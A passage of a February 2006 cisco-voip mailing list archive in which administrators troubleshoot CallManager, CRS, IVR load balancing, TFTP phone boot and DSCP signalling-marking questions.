References: <001501c638ed$f41e2a20$0f0110ac@corporation2>
Message-ID: <43FF898C.7020905@cisco.com>

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From it at cimgroup.com  Fri Feb 24 20:18:34 2006
From: it at cimgroup.com (IT)
Date: Fri Feb 24 20:19:04 2006
Subject: [cisco-voip] One module slot open...FXO? FXS?
Message-ID: <B487D4C1FE6D04439061018C6EBC109B02B19928@exchange.cimgroup.com>

I have a small branch office that will have a 2801 with a PTP T1 and a
9port POE switch. Since the POE switch takes up 2 slots, that leaves me
one slot for a VIC.  Usually, I put a VIC2-2FXO in so that they can dial
911 without a problem.  However, since they want at least one local
number for incoming calls, I am in a bit of a dilemma. I have been told
(perhaps incorrectly), that the 2FXO card will only handle outgoing
calls. So the question is. How can I get inbound and outbound calling
(with caller-id) one a single VIC card? I need it cheap, so PRI's are
out of the question. (are BRI's expensive?).

Thanks,

Avidan

 

 

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From it at cimgroup.com  Fri Feb 24 20:40:27 2006
From: it at cimgroup.com (IT)
Date: Fri Feb 24 20:40:56 2006
Subject: [cisco-voip] CallForwarding stopped working
Message-ID: <B487D4C1FE6D04439061018C6EBC109B02B19952@exchange.cimgroup.com>

For apparently no reason, no one can forward calls from their phones,
from ccmadmin, or ccmuser. The screen no longer shows "Forwarded to: "
and when calls come in, they only go to the phone dialed, but not to the
line calls have been forwarded to. However, calls continue to be
forwarded to voicemail after no-answer....

Is there a service which may need to be restarted? I am at a loss....

 

Thanks,

avidan

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From it at cimgroup.com  Fri Feb 24 20:50:55 2006
From: it at cimgroup.com (IT)
Date: Fri Feb 24 20:51:24 2006
Subject: [cisco-voip] One module slot open...FXO? FXS?
Message-ID: <B487D4C1FE6D04439061018C6EBC109B02B19960@exchange.cimgroup.com>

Please ignore this question. The difference between FXO and FXS has been
explained to me.

Thank you,

Avidan

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of IT
Sent: Friday, February 24, 2006 5:19 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] One module slot open...FXO? FXS?

 

I have a small branch office that will have a 2801 with a PTP T1 and a
9port POE switch. Since the POE switch takes up 2 slots, that leaves me
one slot for a VIC.  Usually, I put a VIC2-2FXO in so that they can dial
911 without a problem.  However, since they want at least one local
number for incoming calls, I am in a bit of a dilemma. I have been told
(perhaps incorrectly), that the 2FXO card will only handle outgoing
calls. So the question is. How can I get inbound and outbound calling
(with caller-id) one a single VIC card? I need it cheap, so PRI's are
out of the question. (are BRI's expensive?).

Thanks,

Avidan

 

 

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From it at cimgroup.com  Fri Feb 24 21:04:30 2006
From: it at cimgroup.com (IT)
Date: Fri Feb 24 21:04:59 2006
Subject: [cisco-voip] CallForwarding stopped working
Message-ID: <B487D4C1FE6D04439061018C6EBC109B02B1996B@exchange.cimgroup.com>

I found the answer. But wanted to post the solution for the next person
who has this problem.

 

http://www.cisco.com/cgi-bin/Support/Bugtool/onebug.pl?bugid=CSCsa64684

(cisco login required)

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of IT
Sent: Friday, February 24, 2006 5:40 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] CallForwarding stopped working

 

For apparently no reason, no one can forward calls from their phones,
from ccmadmin, or ccmuser. The screen no longer shows "Forwarded to: "
and when calls come in, they only go to the phone dialed, but not to the
line calls have been forwarded to. However, calls continue to be
forwarded to voicemail after no-answer....

Is there a service which may need to be restarted? I am at a loss....

 

Thanks,

avidan

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From lelio at uoguelph.ca  Fri Feb 24 21:21:19 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Fri Feb 24 21:21:20 2006
Subject: [cisco-voip] CallForwarding stopped working
In-Reply-To: <B487D4C1FE6D04439061018C6EBC109B02B1996B@exchange.cimgroup.com>
References: <B487D4C1FE6D04439061018C6EBC109B02B1996B@exchange.cimgroup.com>
Message-ID: <43FFBF1F.9040106@uoguelph.ca>

Sorry, I was looking for this for you and couldn't find it quick enough. 
We had this problem quite often with 3.3(3), but it calmed down a bit 
with 3.3(4). Our monthly restarts have also curtailed it's appearance. 
It's interesting how it says first found in 4.1(2). I think the bug for 
3.3(4) centres around aupair.exe or something like that.

IT wrote:
>
> I found the answer. But wanted to post the solution for the next 
> person who has this problem.
>
>  
>
> http://www.cisco.com/cgi-bin/Support/Bugtool/onebug.pl?bugid=CSCsa64684
>
> (cisco login required)
>
>  
>
> ------------------------------------------------------------------------
>
> *From:* cisco-voip-bounces at puck.nether.net 
> [mailto:cisco-voip-bounces at puck.nether.net] *On Behalf Of *IT
> *Sent:* Friday, February 24, 2006 5:40 PM
> *To:* cisco-voip at puck.nether.net
> *Subject:* [cisco-voip] CallForwarding stopped working
>
>  
>
> For apparently no reason, no one can forward calls from their phones, 
> from ccmadmin, or ccmuser. The screen no longer shows "Forwarded to: " 
> and when calls come in, they only go to the phone dialed, but not to 
> the line calls have been forwarded to. However, calls continue to be 
> forwarded to voicemail after no-answer....
>
> Is there a service which may need to be restarted? I am at a loss....
>
>  
>
> Thanks,
>
> avidan
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>   

-- 
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Sanity First: Number of days with less than
50 messages in my inbox at end of the day :          7

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From jgrace at digitelusa.net  Fri Feb 24 22:20:19 2006
From: jgrace at digitelusa.net (James Grace)
Date: Fri Feb 24 22:27:47 2006
Subject: [cisco-voip] moving a aim unity express 
Message-ID: <20060224222793.SM01568@3729434770>

Can you move an aim from one gw to another without losing data 

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From medley at mac.com  Fri Feb 24 23:05:50 2006
From: medley at mac.com (Tim Medley)
Date: Fri Feb 24 23:05:58 2006
Subject: [cisco-voip] AAR and VG248 Phones
Message-ID: <AD799285-387A-4844-A454-96A3CA759C43@mac.com>

I am attempting to setup AAR for a port on a VG248. I am using CCM 3.3 
(3)

When configuring AAR on a configured Vg248 port, I can set the AAR  
Group on the Line, but the AAR CSS field is not shown on the Device  
screen.

Under normal circumstances, the analog handset connected to the VG248  
port is restricted to internal calls (ie no long distance access), so  
I need to be able to set the AAR CSS to a CSS that will provide for  
LD access when AAR is invoked.

Is this a bug? Or a feature? I didn't find anything relevant on CCO.  
Has anyone run into this before?

tm

Tim Medley
medley at mac.com




From erickbe at yahoo.com  Fri Feb 24 23:23:58 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Fri Feb 24 23:24:06 2006
Subject: [cisco-voip] moving a aim unity express 
In-Reply-To: <20060224222793.SM01568@3729434770>
Message-ID: <20060225042358.77375.qmail@web34302.mail.mud.yahoo.com>

It shouldn't be a problem. It's stored on a compact
flash card on the module. I would back it up first
just to be safe. Only thing you should need to
configure is the service-module interface on the
gateway it's moved into and maybe reconfigure
settings, routes, etc on CUE if networks, etc change.

See this link for procedures on how to remove the AIM
module, etc.

http://www.cisco.com/en/US/products/hw/modules/ps2641/prod_module_installation_guide09186a00801f347e.html

--- James Grace <jgrace at digitelusa.net> wrote:

> Can you move an aim from one gw to another without
> losing data 
> 
>  
> 
> James D. Grace 
> 
> CCNP CCNA MCSE MCDBA
> 
> Sr. System Engineer / Professional Svc.
> 
> Digitel Corporation
> 
>  
> 
> > _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

From jgrace at digitelusa.net  Sat Feb 25 02:24:50 2006
From: jgrace at digitelusa.net (James Grace)
Date: Sat Feb 25 02:24:34 2006
Subject: [cisco-voip] Rebuild cm Pub
Message-ID: <SUWCL19IP01jZcrDweW0003b8e9@smtpoutcl19.wirelesssyncvzw.net>

We have to Rebuild The cm pub  we have a pub up and running  whats the best way todo this without Redoing all Server Pub and subs


From wsisk at cisco.com  Sat Feb 25 10:16:43 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Sat Feb 25 10:16:54 2006
Subject: [cisco-voip] Rebuild cm Pub
In-Reply-To: <SUWCL19IP01jZcrDweW0003b8e9@smtpoutcl19.wirelesssyncvzw.net>
References: <SUWCL19IP01jZcrDweW0003b8e9@smtpoutcl19.wirelesssyncvzw.net>
Message-ID: <2622F33D-050A-40A9-9160-2FF19D3F6307@cisco.com>

you shouldn't have to rebuild all the subs.

backup your pub
rebuild your pub using same hostname, ip addr, passwords, etc.
restore your pub.

the restore process recreates both DCD and SQL replication from the  
pub to the subs.  The only thing you should have to do is reboot the  
subs after the restore.

/Wes

On Feb 25, 2006, at 2:24 AM, James Grace wrote:

We have to Rebuild The cm pub  we have a pub up and running  whats  
the best way todo this without Redoing all Server Pub and subs

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From sfahmy at istnetworks.com  Sun Feb 26 06:44:36 2006
From: sfahmy at istnetworks.com (Sherif Fahmy)
Date: Sun Feb 26 06:45:18 2006
Subject: [cisco-voip] Load Balancing 4 IVRs
Message-ID: <27279.212.138.47.15.1140954276.squirrel@212.138.47.15>

Question,
has anyout there did a load balance for four IVRs on the ICM in the ICM
Script

i was wondering if any did.. do you guys have the formulas you used in the
Translataion Route or can refer to me to a document where it helps me in
that..

i have been searching on cisco, but with no use...


Thanks,
Regards,
Sherif Fahmy
IST NETWORKS
KSA - Riyadh Branch
Phone +966 500 620 546
Email sfahmy at istnetworks.com


From ealeatherman at gmail.com  Sun Feb 26 09:00:18 2006
From: ealeatherman at gmail.com (Ed Leatherman)
Date: Sun Feb 26 09:00:21 2006
Subject: [cisco-voip] DBL Trace errors
In-Reply-To: <43FC74AE.2040502@cisco.com>
References: <94a1afde0602220543x7820d1aepdaf0f54e1ccd63e4@mail.gmail.com>
	<43FC74AE.2040502@cisco.com>
Message-ID: <94a1afde0602260600r657f8311gbd0b3dd77bd01f10@mail.gmail.com>

Looks like that fixed it, thanks Wes. Tucking this email away for future
reference too in case it happens again.

On 2/22/06, Wes Sisk <wsisk at cisco.com> wrote:
>
> that's not good.  the .bin file contains the file name of the next trace
> file to be written.  Either some other application has a lock on your
> file (virus scanner?) or the file permissions are incorrect or the file
> is corrupt.
>
> i've recovered this before by deleting the file and restarting the DBL
> component under start->program files->admin tools->component services
> expand until you find DBL then right click and shutdown.  It restarts on
> its own.
>
> /Wes
>
> Ed Leatherman wrote:
> > Woops, sorry didnt put a subject line =\
> >
> > On 2/22/06, *Ed Leatherman* <ealeatherman at gmail.com
> > <mailto:ealeatherman at gmail.com>> wrote:
> >
> >     Hi all,
> >
> >     I recently turned on DBL tracing for some troubleshooting im
> >     doing. DBL Mon just died one day last week on the publisher, for
> >     no good reason that I can tell. Caused all kinds of grief with
> >     forwarding. I wanted to have traces on in case it happened again -
> >     so I would have something to look and and possibly send TAC if I
> >     couldnt solve it.
> >
> >     Now I'm getting the following error constantly (several times a
> >     minute) in the event viewer app logs:
> >
> >     Error: GetNewFileName-fopen in wb mode failed to update existing
> >     file. szFileNumberName = E:\Trace\DBL\DBL_DLLHOST~num.bin.
> >
> >     Makes it hard to see anything else in the event viewer.
> >
> >     Anyone seen this before?
> >
> >     --
> >     Ed Leatherman
> >     IP Telephony Coordinator
> >     West Virginia University
> >     Telecommunications and Network Operations
> >     _______________________________________________
> >     cisco-voip mailing list
> >     cisco-voip at puck.nether.net <mailto:cisco-voip at puck.nether.net>
> >     https://puck.nether.net/mailman/listinfo/cisco-voip
> >
> >
> >
> >
> >
> > --
> > Ed Leatherman
> > IP Telephony Coordinator
> > West Virginia University
> > Telecommunications and Network Operations
> > ------------------------------------------------------------------------
> >
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> >
>
>


--
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
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From wsisk at cisco.com  Sun Feb 26 13:08:40 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Sun Feb 26 13:09:34 2006
Subject: [cisco-voip] Load Balancing 4 IVRs
In-Reply-To: <27279.212.138.47.15.1140954276.squirrel@212.138.47.15>
References: <27279.212.138.47.15.1140954276.squirrel@212.138.47.15>
Message-ID: <F84D06F8-D2A3-42C8-AF8B-C84DC41E7E30@cisco.com>

I've head of people doing this with a frontend script that keeps a  
counter and just tansfers to ivr1,ivr2,ivr3,ivr4 in order and then  
starts over.

/Wes
On Feb 26, 2006, at 6:44 AM, Sherif Fahmy wrote:

Question,
has anyout there did a load balance for four IVRs on the ICM in the ICM
Script

i was wondering if any did.. do you guys have the formulas you used  
in the
Translataion Route or can refer to me to a document where it helps me in
that..

i have been searching on cisco, but with no use...


Thanks,
Regards,
Sherif Fahmy
IST NETWORKS
KSA - Riyadh Branch
Phone +966 500 620 546
Email sfahmy at istnetworks.com

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From wsisk at cisco.com  Sun Feb 26 13:09:25 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Sun Feb 26 13:09:38 2006
Subject: [cisco-voip] Re: cs3 instead of af31 in CM 3.3.4
In-Reply-To: <1BEE7FF69C36814A8283EA09D1F8916706AD3A@wa1ebe1p.integration.raya.corp>
References: <1BEE7FF69C36814A8283EA09D1F8916706AD3A@wa1ebe1p.integration.raya.corp>
Message-ID: <09DCA8AF-0FBC-42B5-9586-D7A0C62C0B6F@cisco.com>

there is a setting in ccmadmin under service->service parameters to  
changes the DSCP bits used for various signaling.

/Wes

On Feb 26, 2006, at 10:08 AM, Waleed Samir wrote:

Ok Thanks for your guiding





From: Wes Sisk [mailto:wsisk at cisco.com]
Sent: Sunday, February 26, 2006 5:06 PM
To: Waleed Samir
Subject: Re: cs3 instead of af31 in CM 3.3.4



I'm sorry, i do not answer direct questions.  If this is regarding a  
TAC case please provide a number, otherwise, plese post your question  
on the cisco-voip alias so everyone can benefit from the answer.



Thank You,

/Wes



On Feb 25, 2006, at 7:35 PM, Waleed Samir wrote:




Hi



I need to change the setting of the Callmanager 3.3.4 to send the  
signaling traffic with CS3 instead of the AF31 to follow the new  
standard.

How can I make this change and do you have any documents or links  
related to this subject.

Many Thanks

Waleed Samir








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From pwalenta at wi.rr.com  Sun Feb 26 14:10:35 2006
From: pwalenta at wi.rr.com (Philip Walenta)
Date: Sun Feb 26 14:11:09 2006
Subject: [cisco-voip] Load Balancing 4 IVRs
In-Reply-To: <27279.212.138.47.15.1140954276.squirrel@212.138.47.15>
Message-ID: <200602261910.k1QJAWH1005847@ms-smtp-03.rdc-kc.rr.com>

I don't remember the exact formulas I used, but I know if you poke around in
the formula editor, you can find several values that indicate number of
ports in use, calls to each destination etc.  These values will allow you to
customize almost to a single call how well you want to balance.

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Sherif Fahmy
Sent: Sunday, February 26, 2006 5:45 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Load Balancing 4 IVRs

Question,
has anyout there did a load balance for four IVRs on the ICM in the ICM
Script

i was wondering if any did.. do you guys have the formulas you used in the
Translataion Route or can refer to me to a document where it helps me in
that..

i have been searching on cisco, but with no use...


Thanks,
Regards,
Sherif Fahmy
IST NETWORKS
KSA - Riyadh Branch
Phone +966 500 620 546
Email sfahmy at istnetworks.com

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From cisco at dignans.com  Sun Feb 26 16:36:49 2006
From: cisco at dignans.com (Andrew Dignan)
Date: Sun Feb 26 16:36:51 2006
Subject: [cisco-voip] Load Balancing 4 IVRs
In-Reply-To: <200602261910.k1QJAWH1005847@ms-smtp-03.rdc-kc.rr.com>
References: <27279.212.138.47.15.1140954276.squirrel@212.138.47.15>
	<200602261910.k1QJAWH1005847@ms-smtp-03.rdc-kc.rr.com>
Message-ID: <14127.64.81.226.84.1140989809.squirrel@www.dignans.com>

I use the formula outlined in the link here:

http://www.cisco.com/en/US/products/sw/custcosw/ps1844/products_tech_note09186a00803678b0.shtml

I have used it to distribute calls for up to six different IVR.

andy dignan
berbee

> I don't remember the exact formulas I used, but I know if you poke around
> in
> the formula editor, you can find several values that indicate number of
> ports in use, calls to each destination etc.  These values will allow you
> to
> customize almost to a single call how well you want to balance.
>
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Sherif Fahmy
> Sent: Sunday, February 26, 2006 5:45 AM
> To: cisco-voip at puck.nether.net
> Subject: [cisco-voip] Load Balancing 4 IVRs
>
> Question,
> has anyout there did a load balance for four IVRs on the ICM in the ICM
> Script
>
> i was wondering if any did.. do you guys have the formulas you used in the
> Translataion Route or can refer to me to a document where it helps me in
> that..
>
> i have been searching on cisco, but with no use...
>
>
> Thanks,
> Regards,
> Sherif Fahmy
> IST NETWORKS
> KSA - Riyadh Branch
> Phone +966 500 620 546
> Email sfahmy at istnetworks.com
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>


From ciscozest at gmail.com  Mon Feb 27 01:52:29 2006
From: ciscozest at gmail.com (Robin H)
Date: Mon Feb 27 01:52:32 2006
Subject: [cisco-voip] CRS 3.5.1
Message-ID: <f99cc3f60602262252q3e702e60gdf695c010764aa05@mail.gmail.com>

I have ICD application based on CRA 3.5.1 and installed it in
Pubslisher server. I read a documentation that we need to put both
publisher and subscriber IP to provide redundancy. With this info, i
have put both publisher and subscriber ip in the JTAPI and RMJTAPI
setup page. But I only installed and setup the application on
Publisher server (coresident) and nothing at Subscriber server. When
the Publisher server down, the ICD application was also failed. Anyway
to prevent this? Should I install and setup CRA application on
Subscriber server as well? Please send me reference page if any.Thanks


From kthorngr at cisco.com  Mon Feb 27 07:55:14 2006
From: kthorngr at cisco.com (Kevin Thorngren)
Date: Mon Feb 27 07:55:04 2006
Subject: [cisco-voip] CRS 3.5.1
In-Reply-To: <f99cc3f60602262252q3e702e60gdf695c010764aa05@mail.gmail.com>
References: <f99cc3f60602262252q3e702e60gdf695c010764aa05@mail.gmail.com>
Message-ID: <db3a0654894ee7931268a98bd3f25335@cisco.com>

What you are configuring is redundancy only in the event of CTI Manager  
service failure.  There are some things you will need to configure in  
CallManager to complete this portion of the configuration.  I would  
suggest reading the high availability section of the IPCC Express SRND,  
found here: http://www.cisco.com/go/srnd

The SRND also describes how redundancy works and the limitations  There  
is a section that describes what you need to do for CRS server  
redundancy as it is not automatic in 3.5.  Basically you will create a  
mirror image of the CRS server to use in an offline server in case of  
failure.  The expectation for this option is that the CRS server is  
running on a standalone server.

There are also some limitations if the Publisher goes down DC Directory  
is being used.  This URL provides steps to configure redundant LDAP  
URL.
http://www.cisco.com/en/US/products/sw/custcosw/ps1846/ 
products_tech_note09186a00804b4982.shtml

Kevin

On Feb 27, 2006, at 1:52 AM, Robin H wrote:

> I have ICD application based on CRA 3.5.1 and installed it in
> Pubslisher server. I read a documentation that we need to put both
> publisher and subscriber IP to provide redundancy. With this info, i
> have put both publisher and subscriber ip in the JTAPI and RMJTAPI
> setup page. But I only installed and setup the application on
> Publisher server (coresident) and nothing at Subscriber server. When
> the Publisher server down, the ICD application was also failed. Anyway
> to prevent this? Should I install and setup CRA application on
> Subscriber server as well? Please send me reference page if any.Thanks
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>


From jgrace at digitelusa.net  Mon Feb 27 09:16:12 2006
From: jgrace at digitelusa.net (James Grace)
Date: Mon Feb 27 09:23:40 2006
Subject: [cisco-voip] get a tftp timeout error
Message-ID: <200602270922109.SM01568@3729434770>

our new phone are getting tftp timeout.  we have cme 3.3.  the ip phone
start up and download the new firmware from the cme and then on the reboot
is when we get the time out.  all tftp files are in place on the flash and
pointers are in the config  we have phone up.   I also tried 3 other new ip
phone out the box  and they all do the same thing...gw ios ver is 12.4.3a  

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From Eric.A.Fretz at L-3com.com  Mon Feb 27 09:26:53 2006
From: Eric.A.Fretz at L-3com.com (Fretz, EA Eric @ IS)
Date: Mon Feb 27 09:27:19 2006
Subject: [cisco-voip] get a tftp timeout error
Message-ID: <51A2C3ED40A3584281444F65BC9026270A8846D8@gvlexch02.gvl.is.l-3com.com>

Have you tried doing an ethereal packet capture of the tftp session to see
which device is causing the issue?

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of James Grace
Sent: Monday, February 27, 2006 8:16 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] get a tftp timeout error



our new phone are getting tftp timeout.  we have cme 3.3.  the ip phone
start up and download the new firmware from the cme and then on the reboot
is when we get the time out.  all tftp files are in place on the flash and
pointers are in the config  we have phone up.   I also tried 3 other new ip
phone out the box  and they all do the same thing.....gw ios ver is 12.4.3a


 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From Scott.Voll at wesd.org  Mon Feb 27 11:09:29 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Mon Feb 27 11:09:38 2006
Subject: [cisco-voip] CRS 3.5.1
Message-ID: <D713462ED535184D830F6F6301753E7E01BE177A@VISHNU.wesd.org>

For the most redundancy you will want separate CRA (CRS, IPCCx, whatever
they are calling it these days) servers and upgrade to 4.x.  4.x has the
clustering ability and off box from the CMs is the only way to get true
redundancy from the CM cluster.

Just my 2 cents.

Scott 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Kevin Thorngren
Sent: Monday, February 27, 2006 4:55 AM
To: Robin H
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] CRS 3.5.1

What you are configuring is redundancy only in the event of CTI Manager

service failure.  There are some things you will need to configure in  
CallManager to complete this portion of the configuration.  I would  
suggest reading the high availability section of the IPCC Express SRND,

found here: http://www.cisco.com/go/srnd

The SRND also describes how redundancy works and the limitations  There

is a section that describes what you need to do for CRS server  
redundancy as it is not automatic in 3.5.  Basically you will create a  
mirror image of the CRS server to use in an offline server in case of  
failure.  The expectation for this option is that the CRS server is  
running on a standalone server.

There are also some limitations if the Publisher goes down DC Directory

is being used.  This URL provides steps to configure redundant LDAP  
URL.
http://www.cisco.com/en/US/products/sw/custcosw/ps1846/ 
products_tech_note09186a00804b4982.shtml

Kevin

On Feb 27, 2006, at 1:52 AM, Robin H wrote:

> I have ICD application based on CRA 3.5.1 and installed it in
> Pubslisher server. I read a documentation that we need to put both
> publisher and subscriber IP to provide redundancy. With this info, i
> have put both publisher and subscriber ip in the JTAPI and RMJTAPI
> setup page. But I only installed and setup the application on
> Publisher server (coresident) and nothing at Subscriber server. When
> the Publisher server down, the ICD application was also failed. Anyway
> to prevent this? Should I install and setup CRA application on
> Subscriber server as well? Please send me reference page if any.Thanks
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From Scott.Voll at wesd.org  Mon Feb 27 11:14:52 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Mon Feb 27 11:15:01 2006
Subject: [cisco-voip] Re: cs3 instead of af31 in CM 3.3.4
Message-ID: <D713462ED535184D830F6F6301753E7E01BE177B@VISHNU.wesd.org>

Why did Cisco's default change from DSCP to CS?  Are we going to see
these continue to change for all packets?  Video, audio, etc.

 

Scott

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Wes Sisk
Sent: Sunday, February 26, 2006 10:09 AM
To: Waleed Samir
Cc: Cisco VoIP
Subject: [cisco-voip] Re: cs3 instead of af31 in CM 3.3.4

 

there is a setting in ccmadmin under service->service parameters to
changes the DSCP bits used for various signaling.

 

/Wes

 

On Feb 26, 2006, at 10:08 AM, Waleed Samir wrote:





Ok Thanks for your guiding

 

 

________________________________

From: Wes Sisk [mailto:wsisk at cisco.com] 
Sent: Sunday, February 26, 2006 5:06 PM
To: Waleed Samir
Subject: Re: cs3 instead of af31 in CM 3.3.4

 

I'm sorry, i do not answer direct questions.  If this is regarding a TAC
case please provide a number, otherwise, plese post your question on the
cisco-voip alias so everyone can benefit from the answer.

 

Thank You,

/Wes

 

On Feb 25, 2006, at 7:35 PM, Waleed Samir wrote:






Hi

 

I need to change the setting of the Callmanager 3.3.4 to send the
signaling traffic with CS3 instead of the AF31 to follow the new
standard.

How can I make this change and do you have any documents or links
related to this subject.

Many Thanks

Waleed Samir






 





 

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From Matt.Slaga at us.didata.com  Mon Feb 27 11:31:34 2006
From: Matt.Slaga at us.didata.com (Matt Slaga (US))
Date: Mon Feb 27 11:32:06 2006
Subject: [cisco-voip] Re: cs3 instead of af31 in CM 3.3.4
Message-ID: <C1FE15183DA37645BC0633BC604E44F00105D31D@USNAEXCH.na.didata.local>

I think this guy was trying to do the opposite, change the default of
DSCP af31 to CS3.

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Voll, Scott
Sent: Monday, February 27, 2006 11:15 AM
To: Wes Sisk
Cc: Cisco VoIP
Subject: RE: [cisco-voip] Re: cs3 instead of af31 in CM 3.3.4



Why did Cisco's default change from DSCP to CS?  Are we going to see
these continue to change for all packets?  Video, audio, etc.

 

Scott

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Wes Sisk
Sent: Sunday, February 26, 2006 10:09 AM
To: Waleed Samir
Cc: Cisco VoIP
Subject: [cisco-voip] Re: cs3 instead of af31 in CM 3.3.4

 

there is a setting in ccmadmin under service->service parameters to
changes the DSCP bits used for various signaling.

 

/Wes

 

On Feb 26, 2006, at 10:08 AM, Waleed Samir wrote:





Ok Thanks for your guiding

 

 

________________________________

From: Wes Sisk [mailto:wsisk at cisco.com] 
Sent: Sunday, February 26, 2006 5:06 PM
To: Waleed Samir
Subject: Re: cs3 instead of af31 in CM 3.3.4

 

I'm sorry, i do not answer direct questions.  If this is regarding a TAC
case please provide a number, otherwise, plese post your question on the
cisco-voip alias so everyone can benefit from the answer.

 

Thank You,

/Wes

 

On Feb 25, 2006, at 7:35 PM, Waleed Samir wrote:






Hi

 

I need to change the setting of the Callmanager 3.3.4 to send the
signaling traffic with CS3 instead of the AF31 to follow the new
standard.

How can I make this change and do you have any documents or links
related to this subject.

Many Thanks

Waleed Samir






 





 




-----------------------------------------
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From Scott.Voll at wesd.org  Mon Feb 27 11:42:18 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Mon Feb 27 11:42:26 2006
Subject: [cisco-voip] Re: cs3 instead of af31 in CM 3.3.4
Message-ID: <D713462ED535184D830F6F6301753E7E01BE1781@VISHNU.wesd.org>

Negative Ghost Rider* in CM 4.1.3 the signaling is CS3. No longer AF31.
This is a known change.

 

Scott

 

*My favorite quote from Top Gun the movie.

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Matt Slaga (US)
Sent: Monday, February 27, 2006 8:32 AM
To: Voll, Scott; Wes Sisk
Cc: Cisco VoIP
Subject: RE: [cisco-voip] Re: cs3 instead of af31 in CM 3.3.4

 

I think this guy was trying to do the opposite, change the default of
DSCP af31 to CS3.

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Voll, Scott
Sent: Monday, February 27, 2006 11:15 AM
To: Wes Sisk
Cc: Cisco VoIP
Subject: RE: [cisco-voip] Re: cs3 instead of af31 in CM 3.3.4

Why did Cisco's default change from DSCP to CS?  Are we going to see
these continue to change for all packets?  Video, audio, etc.

 

Scott

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Wes Sisk
Sent: Sunday, February 26, 2006 10:09 AM
To: Waleed Samir
Cc: Cisco VoIP
Subject: [cisco-voip] Re: cs3 instead of af31 in CM 3.3.4

 

there is a setting in ccmadmin under service->service parameters to
changes the DSCP bits used for various signaling.

 

/Wes

 

On Feb 26, 2006, at 10:08 AM, Waleed Samir wrote:






Ok Thanks for your guiding

 

 

________________________________

From: Wes Sisk [mailto:wsisk at cisco.com] 
Sent: Sunday, February 26, 2006 5:06 PM
To: Waleed Samir
Subject: Re: cs3 instead of af31 in CM 3.3.4

 

I'm sorry, i do not answer direct questions.  If this is regarding a TAC
case please provide a number, otherwise, plese post your question on the
cisco-voip alias so everyone can benefit from the answer.

 

Thank You,

/Wes

 

On Feb 25, 2006, at 7:35 PM, Waleed Samir wrote:





 

Hi

 

I need to change the setting of the Callmanager 3.3.4 to send the
